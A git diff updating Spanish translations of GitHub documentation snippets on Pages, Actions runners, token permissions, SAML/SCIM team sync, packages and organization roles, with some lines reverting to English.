b/translations/es-ES/data/reusables/gated-features/private-pages.md index e82ad9dd75..4630065722 100644 --- a/translations/es-ES/data/reusables/gated-features/private-pages.md +++ b/translations/es-ES/data/reusables/gated-features/private-pages.md @@ -1 +1 @@ -Access control for {% data variables.product.prodname_pages %} sites is available in private repositories with {% data variables.product.prodname_ghe_cloud %}.{% ifversion fpt %} {% data reusables.enterprise.link-to-ghec-trial %}{% endif %} +El control de accesos para los sitios de {% data variables.product.prodname_pages %} se encuentra disponible en los repositorios privados con {% data variables.product.prodname_ghe_cloud %}.{% ifversion fpt %} {% data reusables.enterprise.link-to-ghec-trial %}{% endif %} diff --git a/translations/es-ES/data/reusables/gated-features/repository-insights.md b/translations/es-ES/data/reusables/gated-features/repository-insights.md index 294c79fa86..f9d860d57e 100644 --- a/translations/es-ES/data/reusables/gated-features/repository-insights.md +++ b/translations/es-ES/data/reusables/gated-features/repository-insights.md @@ -1 +1 @@ -This repository insights graph is available in public repositories with {% data variables.product.prodname_free_user %} and {% data variables.product.prodname_free_team %} for organizations, and in public and private repositories with {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %},{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} For more information, see "[About repository graphs](/articles/about-repository-graphs)" and "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)."{% endif %} +Esta gráfica de perspectivas está disponible en los repositorios públicos con {% data variables.product.prodname_free_user %} y {% data variables.product.prodname_free_team %} para organizaciones, y en los repositorios privados y públicos con {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %},{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} y {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} Para obtener más información, consulta la sección "[Acerca de las gráficas de repositorio](/articles/about-repository-graphs)" y "[productos de {% data variables.product.prodname_dotcom %}](/articles/github-s-products)".{% endif %} diff --git a/translations/es-ES/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md b/translations/es-ES/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md index 90a9b53ab8..38512d331a 100644 --- a/translations/es-ES/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md +++ b/translations/es-ES/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md @@ -1,3 +1,3 @@ -You can give organization members, teams, and outside collaborators different levels of access to repositories owned by your organization with repository roles. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +You can give organization members, teams, and outside collaborators different levels of access to repositories owned by your organization with repository roles. Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)". También puedes personalizar el acceso a los tableros de proyecto de tu organización y permitir que miembros individuales de esta administren las {% data variables.product.prodname_github_apps %} de ella. Para obtener más información, consulta las secciones "[Administrar el acceso a los tableros de proyecto de tu organización](/organizations/managing-access-to-your-organizations-project-boards)" y "[Administrar el acceso a las apps de tu organización](/organizations/managing-access-to-your-organizations-apps)". diff --git a/translations/es-ES/data/reusables/getting-started/open-source-projects.md b/translations/es-ES/data/reusables/getting-started/open-source-projects.md index b96d6cd4ef..9e6f04b133 100644 --- a/translations/es-ES/data/reusables/getting-started/open-source-projects.md +++ b/translations/es-ES/data/reusables/getting-started/open-source-projects.md @@ -1,4 +1,4 @@ -El contribuir con proyectos de código abierto en {% data variables.product.prodname_dotcom %} puede ser una forma gratificante de aprender, enseñar y crear una experiencia sobre cualquier habilidad que te puedas imaginar. For more information, see "[How to Contribute to Open Source](https://opensource.guide/how-to-contribute/)" in the Open Source Guides. +El contribuir con proyectos de código abierto en {% data variables.product.prodname_dotcom %} puede ser una forma gratificante de aprender, enseñar y crear una experiencia sobre cualquier habilidad que te puedas imaginar. Para obtener más información, consulta la sección "[Cómo contribuir con el código abierto](https://opensource.guide/how-to-contribute/)" en las Guías de código abierto. -You can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore](https://github.com/explore).{% ifversion fpt or ghec %} For more information, see "[Finding ways to contribute to open source on GitHub](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." +Puedes encontrar recomendaciones personalizadas para los proyectos y buenas primeras propuestas con base en tus contribuciones anteriores, marcas de favoritos y otras actividades en [Explorar](https://github.com/explore).{% ifversion fpt or ghec %} Para obtener más información, consulta la sección "[Encontrar formas para contribuir con los proyectos de código abierto en GitHub](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)". {% endif %} diff --git a/translations/es-ES/data/reusables/getting-started/org-permissions-and-roles.md b/translations/es-ES/data/reusables/getting-started/org-permissions-and-roles.md index 6e1bb0ad09..163191c1f1 100644 --- a/translations/es-ES/data/reusables/getting-started/org-permissions-and-roles.md +++ b/translations/es-ES/data/reusables/getting-started/org-permissions-and-roles.md @@ -1 +1 @@ -Cada persona en tu organización tiene un rol que define su nivel de acceso a esta. El rol de miembro es el predeterminado y puedes asignar roles de propietario y gerente de facturación así como permisos de "mantenedor de equipo". For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +Cada persona en tu organización tiene un rol que define su nivel de acceso a esta. El rol de miembro es el predeterminado y puedes asignar roles de propietario y gerente de facturación así como permisos de "mantenedor de equipo". Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". diff --git a/translations/es-ES/data/reusables/getting-started/setting-org-and-repo-permissions.md b/translations/es-ES/data/reusables/getting-started/setting-org-and-repo-permissions.md index 3958c86696..0ce4fea954 100644 --- a/translations/es-ES/data/reusables/getting-started/setting-org-and-repo-permissions.md +++ b/translations/es-ES/data/reusables/getting-started/setting-org-and-repo-permissions.md @@ -1,3 +1,3 @@ -Te recomendamos proporcionar una cantidad limitada de miembros en cada organización y rol de propietario de organización, lo cual proporciona acceso administrativo completo para ellas. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +Te recomendamos proporcionar una cantidad limitada de miembros en cada organización y rol de propietario de organización, lo cual proporciona acceso administrativo completo para ellas. Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". En el caso de las organizaciones en donde tienes permisos administrativos, también puedes personalizar el acceso a cada repositorio con niveles de permiso granulares. Para obtener más información, consulta la sección "[Niveles de permisos del repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization)". diff --git a/translations/es-ES/data/reusables/github-actions/artifact-log-retention-statement.md b/translations/es-ES/data/reusables/github-actions/artifact-log-retention-statement.md index 6a1608f771..320cd7d9fd 100644 --- a/translations/es-ES/data/reusables/github-actions/artifact-log-retention-statement.md +++ b/translations/es-ES/data/reusables/github-actions/artifact-log-retention-statement.md @@ -1 +1 @@ -By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and this retention period can be customized. Para obtener más información, consulta la sección "[Límites de uso, facturación y administración](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)". +Predeterminadamente, {% data variables.product.product_name %} almacena bitácoras de compilación y artefactos durante 90 días y este periodo de retención puede personalizarse. Para obtener más información, consulta la sección "[Límites de uso, facturación y administración](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)". diff --git a/translations/es-ES/data/reusables/github-actions/enabled-actions-description.md b/translations/es-ES/data/reusables/github-actions/enabled-actions-description.md index a16cd7f637..3f5092e9ca 100644 --- a/translations/es-ES/data/reusables/github-actions/enabled-actions-description.md +++ b/translations/es-ES/data/reusables/github-actions/enabled-actions-description.md @@ -1 +1 @@ -Cuando habilitas {% data variables.product.prodname_actions %}, los flujos de trabajo puede ejecutar acciones ubicadas dentro de tu repositorio y en cualquier otro repositorio público. +When you enable {% data variables.product.prodname_actions %}, workflows are able to run actions located within your repository and any other{% ifversion fpt %} public{% elsif ghec or ghes %} public or internal{% elsif ghae %} internal{% endif %} repository. diff --git a/translations/es-ES/data/reusables/github-actions/github-token-permissions.md b/translations/es-ES/data/reusables/github-actions/github-token-permissions.md index 4bc93a240c..5ffe1cbb78 100644 --- a/translations/es-ES/data/reusables/github-actions/github-token-permissions.md +++ b/translations/es-ES/data/reusables/github-actions/github-token-permissions.md @@ -1 +1 @@ -El secreto de `GITHUB_TOKEN` se configuro para un token de acceso para el repositorio cada vez que comienza un job en un flujo de trabajo. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}Tiene permisos de lectura y escritura para los paquetes del repositorio en donde se ejecuta el flujo de trabajo. {% endif %}Para obtener más información, consulta la sección "[Autenticarte con el GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)". +El secreto de `GITHUB_TOKEN` se configuro para un token de acceso para el repositorio cada vez que comienza un job en un flujo de trabajo. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}Debes configurar los permisos para este token de acceso en el archivo del flujo de trabajo para otorgar acceso de lectura para el alcance `contents` y acceso de escritura para el de `packages`. {% else %}Tiene permisos de lectura y escritura para los paquetes del repositorio en donde se ejecuta el flujo de trabajo. {% endif %}Para obtener más información, consulta la sección "[Autenticarte con el GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)". diff --git a/translations/es-ES/data/reusables/github-actions/private-repository-forks-overview.md b/translations/es-ES/data/reusables/github-actions/private-repository-forks-overview.md index 4b65523e30..4ccf0b2a66 100644 --- a/translations/es-ES/data/reusables/github-actions/private-repository-forks-overview.md +++ b/translations/es-ES/data/reusables/github-actions/private-repository-forks-overview.md @@ -1,4 +1,4 @@ -Si dependes en el uso de bifurcaciones de tus repositorios privados, puedes configurar las políticas que controlan cómo los usuarios pueden ejecutar flujos de trabajo en los eventos de `pull_request`. Disponible solo para repositorios privados e internos, puedes configurar los ajustes de esta política para empresas, organizaciones y repositorios. For enterprise accounts, the policies are applied to all repositories in all organizations. +Si dependes en el uso de bifurcaciones de tus repositorios privados, puedes configurar las políticas que controlan cómo los usuarios pueden ejecutar flujos de trabajo en los eventos de `pull_request`. Available to private {% ifversion ghec or ghes or ghae %}and internal{% endif %} repositories only, you can configure these policy settings for {% ifversion ghec %}enterprises, {% elsif ghes or ghae %}your enterprise, {% endif %}organizations, or repositories.{% ifversion ghec or ghes or ghae %} For enterprises, the policies are applied to all repositories in all organizations.{% endif %} - **Ejecutar flujos de trabajo desde las solicitudes de extracción de las bifurcaciones** - permite a los usuarios ejecutar flujos de trabajo desde las solicitudes de extracción de las bifurcaciones utilizando un `GITHUB_TOKEN` con permisos de solo lectura y sin acceso a los secretos. - **Enviar tokens de escritura a los flujos de trabajo desde las solicitudes de extracción** - Permite a las solicitudes de extracción de las bifuraciones utilizar un `GITHUB_TOKEN` con permiso de escritura. diff --git a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md index 8226b5aecb..1139ee5d0b 100644 --- a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md +++ b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-groups-navigate-to-repo-org-enterprise.md @@ -1,10 +1,10 @@ 1. Navega a donde se ubiquen tus grupos de ejecutores auto-hospedados: - * **In an organization**: navigate to the main page and click {% octicon "gear" aria-label="The Settings gear" %} **Settings**. + * **En una organización**: navega a la página principal y da clic en {% octicon "gear" aria-label="The Settings gear" %} **Configuración**. * {% ifversion fpt or ghec %}**Si se utiliza una cuenta empresarial**: navega a tu cuenta visitando `https://github.com/enterprises/ENTERPRISE-NAME`, remplazando la parte de `ENTERPRISE-NAME` con tu nombre de cuenta empresarial.{% elsif ghes or ghae %}**Si utilizas un ejecutor a nivel empresarial**: 1. En la esquina superior derecha de cualquier página, da clic en {% octicon "rocket" aria-label="The rocket ship" %}. 1. En la barra lateral izquierda, da clic en **Resumen empresarial**. 1. {% endif %} En la barra lateral de empresa, {% octicon "law" aria-label="The law icon" %} **Políticas**. 1. Navega a los ajustes de los "Grupos de ejecutores": - * **In an organization**: Click **Actions** in the left sidebar{% ifversion fpt or ghec %}, then click **Runner groups** below it{% endif %}. + * **En una organización**: Haz clic en **Acciones** en la barra lateral izquierda{% ifversion fpt or ghec %} y luego en **Grupos de ejecutores** debajo{% endif %}. * {% ifversion fpt or ghec %}**Si estás utilizand una cuenta empresarial**:{% elsif ghes or ghae %}**Si estás utilizando un ejecutor a nivel empresarial**:{% endif %} Haz clic en **Acciones** debajo de "{% octicon "law" aria-label="The law icon" %} Políticas"{% ifversion fpt or ghec %}, y luego en la pestaña de **Grupos de Ejecutores** {% endif %}. diff --git a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md index 8392f16c68..12ad7b8a9e 100644 --- a/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md +++ b/translations/es-ES/data/reusables/github-actions/self-hosted-runner-navigate-to-org-enterprise.md @@ -1,10 +1,10 @@ 1. Navega a donde está registrado tu ejecutor auto-hospedado: - * **In an organization**: navigate to the main page and click {% octicon "gear" aria-label="The Settings gear" %} **Settings**. + * **En una organización**: navega a la página principal y da clic en {% octicon "gear" aria-label="The Settings gear" %} **Configuración**. * {% ifversion fpt %}**Si se utiliza una cuenta empresarial**: navega a tu cuenta visitando `https://github.com/enterprises/ENTERPRISE-NAME`, remplazando la parte de `ENTERPRISE-NAME` con tu nombre de cuenta empresarial.{% elsif ghes or ghae %}**Si utilizas un ejecutor a nivel empresarial**: 1. En la esquina superior derecha de cualquier página, da clic en {% octicon "rocket" aria-label="The rocket ship" %}. 1. En la barra lateral izquierda, da clic en **Resumen empresarial**. 1. {% endif %} En la barra lateral de empresa, {% octicon "law" aria-label="The law icon" %} **Políticas**. 1. Navega a los ajustes de {% data variables.product.prodname_actions %}: - * **In an organization**: Click **Actions** in the left sidebar{% ifversion fpt or ghes > 3.1 or ghae-next %}, then click **Runners**{% endif %}. + * **En una organización**: Haz clic en **Acciones** en la barra lateral izquierda{% ifversion fpt or ghes > 3.1 or ghae-next %} y luego en **Ejecutores**{% endif %}. * {% ifversion fpt %}**Si estás utilizand una cuenta empresarial**:{% elsif ghes or ghae %}**Si estás utilizando un ejecutor a nivel empresarial**:{% endif %} Haz clic en **Acciones** debajo de "{% octicon "law" aria-label="The law icon" %} Políticas"{% ifversion fpt or ghes > 3.1 or ghae-next %}, y luego en la pestaña de **Ejecutores** {% endif %}. diff --git a/translations/es-ES/data/reusables/github-actions/supported-github-runners.md b/translations/es-ES/data/reusables/github-actions/supported-github-runners.md index bd30fe71fd..0010d6c3ee 100644 --- a/translations/es-ES/data/reusables/github-actions/supported-github-runners.md +++ b/translations/es-ES/data/reusables/github-actions/supported-github-runners.md @@ -36,7 +36,7 @@ Windows Server 2016[deprecated] windows-2016 -Migrate to Windows 2019 or Windows 2022. Para obtener más información, consulta la publicación del blog. +Migrarse a Windows 2019 o Windows 2022. Para obtener más información, consulta la publicación del blog. @@ -85,6 +85,6 @@ macOS Catalina 10.15 {% warning %} -Note: Beta and Deprecated Images are provided "as-is", "with all faults" and "as available" and are excluded from the service level agreement and warranty. El soporte al cliente podría no cubrir las imágenes beta. +Nota: Las imágenes beta y obsoletizadas se proporcionan "tal cual", "con todos sus fallos" y "conforme estén disponibles" y se les excluye del acuerdo de nivel de servicio y de la garantía. El soporte al cliente podría no cubrir las imágenes beta. {% endwarning %} diff --git a/translations/es-ES/data/reusables/github-actions/workflow-permissions-intro.md b/translations/es-ES/data/reusables/github-actions/workflow-permissions-intro.md index fdb58ede0e..241eefb9f3 100644 --- a/translations/es-ES/data/reusables/github-actions/workflow-permissions-intro.md +++ b/translations/es-ES/data/reusables/github-actions/workflow-permissions-intro.md @@ -1 +1 @@ -Puedes configurar los permisos predeterminados que se otorgaron al `GITHUB_TOKEN`. For more information about the `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." Puedes elegir entre un conjunto restringido de permisos o una configuración permisiva como lo predeterminado. +Puedes configurar los permisos predeterminados que se otorgaron al `GITHUB_TOKEN`. Para obtener más información sobre el `GITHUB_TOKEN`, consulta ""[Automatic token authentication](/actions/security-guides/automatic-token-authentication)". Puedes elegir entre un conjunto restringido de permisos o una configuración permisiva como lo predeterminado. diff --git a/translations/es-ES/data/reusables/identity-and-permissions/team-sync-confirm-saml.md b/translations/es-ES/data/reusables/identity-and-permissions/team-sync-confirm-saml.md index a36eaa9f15..9915cd7a8a 100644 --- a/translations/es-ES/data/reusables/identity-and-permissions/team-sync-confirm-saml.md +++ b/translations/es-ES/data/reusables/identity-and-permissions/team-sync-confirm-saml.md @@ -1 +1 @@ -3. Confirma que el SSO de SAML esté habilitado. Para obtener más información, consulta "[Administrar el inicio de sesión único de SAML para tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/)". +3. Confirm that SAML SSO is enabled for your organization. Para obtener más información, consulta "[Administrar el inicio de sesión único de SAML para tu organización](/organizations/managing-saml-single-sign-on-for-your-organization/)". diff --git a/translations/es-ES/data/reusables/identity-and-permissions/team-sync-confirm-scim.md b/translations/es-ES/data/reusables/identity-and-permissions/team-sync-confirm-scim.md new file mode 100644 index 0000000000..f7cfaf6571 --- /dev/null +++ b/translations/es-ES/data/reusables/identity-and-permissions/team-sync-confirm-scim.md @@ -0,0 +1 @@ +1. We recommend you confirm that your users have SAML enabled and have a linked SCIM identity to avoid potential provisioning errors. For help auditing your users, see "[Auditing users for missing SCIM metadata](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management#auditing-users-for-missing-scim-metadata)." For help resolving unlinked SCIM identities, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)." \ No newline at end of file diff --git a/translations/es-ES/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/es-ES/data/reusables/identity-and-permissions/team-sync-okta-requirements.md index f5606862aa..91ee85cc7d 100644 --- a/translations/es-ES/data/reusables/identity-and-permissions/team-sync-okta-requirements.md +++ b/translations/es-ES/data/reusables/identity-and-permissions/team-sync-okta-requirements.md @@ -1,5 +1,5 @@ -Para habilitar la sincronización de equipos para Okta, en tu administrador de IdP deberás: +Before you enable team synchronization for Okta, you or your IdP administrator must: -- Habilitar el SSO de SAML y SCIM para tu organización utilizando Okta. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML y SCIM utilizando Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)". +- Configure the SAML, SSO, and SCIM integration for your organization using Okta. Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML y SCIM utilizando Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)". - Proporcionar la URL del inquilino para tu instancia de Okta. - Generar un token de SSWS válido con permisos administrativos de solo lectura para tu instalación de Okta como usuario de servicio. Para obtener más información, consulta la sección [Crear el token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) y [Usuarios de servicio](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm) en la documentación de Okta. diff --git a/translations/es-ES/data/reusables/marketplace/marketplace-double-purchases.md b/translations/es-ES/data/reusables/marketplace/marketplace-double-purchases.md index d434e82f23..60600729a1 100644 --- a/translations/es-ES/data/reusables/marketplace/marketplace-double-purchases.md +++ b/translations/es-ES/data/reusables/marketplace/marketplace-double-purchases.md @@ -1,5 +1,5 @@ {% warning %} -**Nota:** En la versión actual de {% data variables.product.prodname_marketplace %}, es posible que un cliente compre tu app a través de {% data variables.product.prodname_marketplace %} cuando ya tienen una cuenta existente que se haya comprado desde el sitio web de tu app. If you find that you already have an account set up for the customer who purchased your app, please report the "double" purchases to [GitHub Support](https://github.com/contact). +**Nota:** En la versión actual de {% data variables.product.prodname_marketplace %}, es posible que un cliente compre tu app a través de {% data variables.product.prodname_marketplace %} cuando ya tienen una cuenta existente que se haya comprado desde el sitio web de tu app. Si te das cuenta de que ya tienes configurada una cuenta para el cliente que compró tu app, por favor, reporta estas compras "dobles" al [Soporte de GitHub](https://github.com/contact). {% endwarning %} diff --git a/translations/es-ES/data/reusables/notifications/email-restrictions-verification.md b/translations/es-ES/data/reusables/notifications/email-restrictions-verification.md index a7b504e38e..9591a81deb 100644 --- a/translations/es-ES/data/reusables/notifications/email-restrictions-verification.md +++ b/translations/es-ES/data/reusables/notifications/email-restrictions-verification.md @@ -1 +1 @@ -{% ifversion fpt or ghec %}To continue receiving email notifications after you enable restrictions, members must verify any email addresses within domains that you verify or approve. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/github/getting-started-with-github/verifying-your-email-address)".{% endif %} +{% ifversion fpt or ghec %}Para seguir recibiendo notificaciones de correo electrónico después de que habilitas las restircciones, los miembros deben verificar cualquier dirección de correo electrónico dentro de los dominios que verificas o apruebas. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/github/getting-started-with-github/verifying-your-email-address)".{% endif %} diff --git a/translations/es-ES/data/reusables/organizations/choose-user-role.md b/translations/es-ES/data/reusables/organizations/choose-user-role.md index f87141c958..40bc61dc66 100644 --- a/translations/es-ES/data/reusables/organizations/choose-user-role.md +++ b/translations/es-ES/data/reusables/organizations/choose-user-role.md @@ -1 +1 @@ -1. If the person you're inviting has never been a member of the organization or if you cleared their privileges, choose an organization role for the user. ![Opciones para convertir a un usuario en miembro o propietario](/assets/images/help/organizations/choose-new-member-role.png) +1. Si la persona que estás invitando jamás ha sido un miembro de alguna organización o si le quitaste sus privilegios, escoge un rol de organización para el usuario. ![Opciones para convertir a un usuario en miembro o propietario](/assets/images/help/organizations/choose-new-member-role.png) diff --git a/translations/es-ES/data/reusables/organizations/new-org-permissions-more-info.md b/translations/es-ES/data/reusables/organizations/new-org-permissions-more-info.md index 07f5f6d1a9..77ceb8827e 100644 --- a/translations/es-ES/data/reusables/organizations/new-org-permissions-more-info.md +++ b/translations/es-ES/data/reusables/organizations/new-org-permissions-more-info.md @@ -1 +1 @@ -For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." +Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". diff --git a/translations/es-ES/data/reusables/organizations/new-repo-permissions-more-info.md b/translations/es-ES/data/reusables/organizations/new-repo-permissions-more-info.md index de8afc2ecc..27e95fda9a 100644 --- a/translations/es-ES/data/reusables/organizations/new-repo-permissions-more-info.md +++ b/translations/es-ES/data/reusables/organizations/new-repo-permissions-more-info.md @@ -1 +1 @@ -For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +Para obtener más información, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)". diff --git a/translations/es-ES/data/reusables/organizations/team_maintainers_can.md b/translations/es-ES/data/reusables/organizations/team_maintainers_can.md index 4ab518d8d0..922c2d3a13 100644 --- a/translations/es-ES/data/reusables/organizations/team_maintainers_can.md +++ b/translations/es-ES/data/reusables/organizations/team_maintainers_can.md @@ -11,5 +11,5 @@ Los miembros con permisos de mantenedor del equipo pueden hacer lo siguiente: - [Eliminar a miembros de la organización del equipo](/articles/removing-organization-members-from-a-team) - [Promover un miembro del equipo existente a mantenedor del equipo](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member) - Eliminar el acceso del equipo a los repositorios {% ifversion fpt or ghes or ghae or ghec %} -- [Manage code review settings for the team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team){% endif %}{% ifversion fpt or ghec %} +- [Administrar los ajustes de revisión de código para el equipo](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team){% endif %}{% ifversion fpt or ghec %} - [Administrar los recordatorios programados para las solicitudes de extracción](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests){% endif %} diff --git a/translations/es-ES/data/reusables/package_registry/checksum-maven-plugin.md b/translations/es-ES/data/reusables/package_registry/checksum-maven-plugin.md index d6c358e572..3d980144e1 100644 --- a/translations/es-ES/data/reusables/package_registry/checksum-maven-plugin.md +++ b/translations/es-ES/data/reusables/package_registry/checksum-maven-plugin.md @@ -1,5 +1,5 @@ {%- ifversion ghae %} -1. En el elemento `plugins` del archivo *pom.xml*, agrega el plugin [checksum-maven-plugin](http://checksum-maven-plugin.nicoulaj.net/index.html) y configúralo para enviar por lo menos comprobaciones SHA-256. +1. In the `plugins` element of the *pom.xml* file, add the [checksum-maven-plugin](https://search.maven.org/artifact/net.nicoulaj.maven.plugins/checksum-maven-plugin) plugin, and configure the plugin to send at least SHA-256 checksums. ```xml diff --git a/translations/es-ES/data/reusables/package_registry/package-settings-from-user-level.md b/translations/es-ES/data/reusables/package_registry/package-settings-from-user-level.md index bcb3be2ae9..5a1be4dcdb 100644 --- a/translations/es-ES/data/reusables/package_registry/package-settings-from-user-level.md +++ b/translations/es-ES/data/reusables/package_registry/package-settings-from-user-level.md @@ -1,3 +1,3 @@ 1. En {% data variables.product.prodname_dotcom %}, navega hasta la página principal de tu cuenta de usuario. -2. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Your profile**. ![Foto de perfil](/assets/images/help/profile/top_right_avatar.png) +2. En la esquina superior derecha de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, haz clic en tu foto de perfil y luego en **Tu perfil**. ![Foto de perfil](/assets/images/help/profile/top_right_avatar.png) 3. En tu página de perfil, en la parte superior derecha, da clic en **Paquetes**. ![Opción de paquetes en la página de perfil](/assets/images/help/package-registry/packages-from-user-profile.png) diff --git a/translations/es-ES/data/reusables/package_registry/packages-billing.md b/translations/es-ES/data/reusables/package_registry/packages-billing.md index 387a9e946a..e2d39394f1 100644 --- a/translations/es-ES/data/reusables/package_registry/packages-billing.md +++ b/translations/es-ES/data/reusables/package_registry/packages-billing.md @@ -1 +1 @@ -El uso de {% data variables.product.prodname_registry %} es gratuito para los paquetes públicos. For private packages, each account on {% data variables.product.product_location %} receives a certain amount of free storage and data transfer, depending on the product used with the account. Cualquier uso que no se contemple en las cantidades incluidas se controla con los límites de gasto. +El uso de {% data variables.product.prodname_registry %} es gratuito para los paquetes públicos. En el caos de los paquetes privados, cada cuenta en {% data variables.product.product_location %} recibe cierta cantidad de almacenamiento gratuito y transferencia de datos, dependiendo de los productos que se utilicen con la cuenta. Cualquier uso que no se contemple en las cantidades incluidas se controla con los límites de gasto. diff --git a/translations/es-ES/data/reusables/pages/admin-must-push.md b/translations/es-ES/data/reusables/pages/admin-must-push.md index 51bffec7fa..99cf0b7a3f 100644 --- a/translations/es-ES/data/reusables/pages/admin-must-push.md +++ b/translations/es-ES/data/reusables/pages/admin-must-push.md @@ -1,5 +1,5 @@ {% tip %} -**Note**: If your site has not published automatically, make sure someone with admin permissions and a verified email address has pushed to the publishing source. +**Nota**: Si tu sitio no se publicó automáticamente, asegúrate de que alguien con permisos administrativos y una dirección de correo electrónico verificada haya subido a la fuente de publicación. {% endtip %} diff --git a/translations/es-ES/data/reusables/pages/decide-publishing-source.md b/translations/es-ES/data/reusables/pages/decide-publishing-source.md index a28c17e528..862637b38a 100644 --- a/translations/es-ES/data/reusables/pages/decide-publishing-source.md +++ b/translations/es-ES/data/reusables/pages/decide-publishing-source.md @@ -1 +1 @@ -1. Decide which publishing source you want to use. Para obtener más información, consulta la sección "[Acerca de{% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)". +1. Decide qué fuente de publicación quieres utilizar. Para obtener más información, consulta la sección "[Acerca de{% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)". diff --git a/translations/es-ES/data/reusables/pages/new-or-existing-repo.md b/translations/es-ES/data/reusables/pages/new-or-existing-repo.md index 3e4ca70a01..a204a46ae5 100644 --- a/translations/es-ES/data/reusables/pages/new-or-existing-repo.md +++ b/translations/es-ES/data/reusables/pages/new-or-existing-repo.md @@ -1,4 +1,4 @@ -Si tu sitio es un proyecto independiente, puedes crear un repositorio nuevo para almacenar el código fuente del mismo. If your site is associated with an existing project, you can add the source code to that project's repository, in a `/docs` folder on the default branch or on a different branch. Por ejemplo, si estás creando un sitio para publicar documentación para un proyecto que ya está en {% data variables.product.product_name %}, podrías querer almacenar el código fuente para este sitio en el mismo repositorio donde se encuentra el proyecto. +Si tu sitio es un proyecto independiente, puedes crear un repositorio nuevo para almacenar el código fuente del mismo. Si tu sitio se asocia con un proyecto existente, puedes agregar el código fuente al repositorio de dicho proyecto en una carpeta de `/docs` en la rama predeterminada o en una diferente. Por ejemplo, si estás creando un sitio para publicar documentación para un proyecto que ya está en {% data variables.product.product_name %}, podrías querer almacenar el código fuente para este sitio en el mismo repositorio donde se encuentra el proyecto. {% ifversion fpt or ghec %}Si la cuenta a la que pertenece el repositorio utiliza {% data variables.product.prodname_free_user %} o {% data variables.product.prodname_free_team %} para organizaciones, el repositorio deberá ser público.{% endif %} diff --git a/translations/es-ES/data/reusables/pages/private_pages_are_public_warning.md 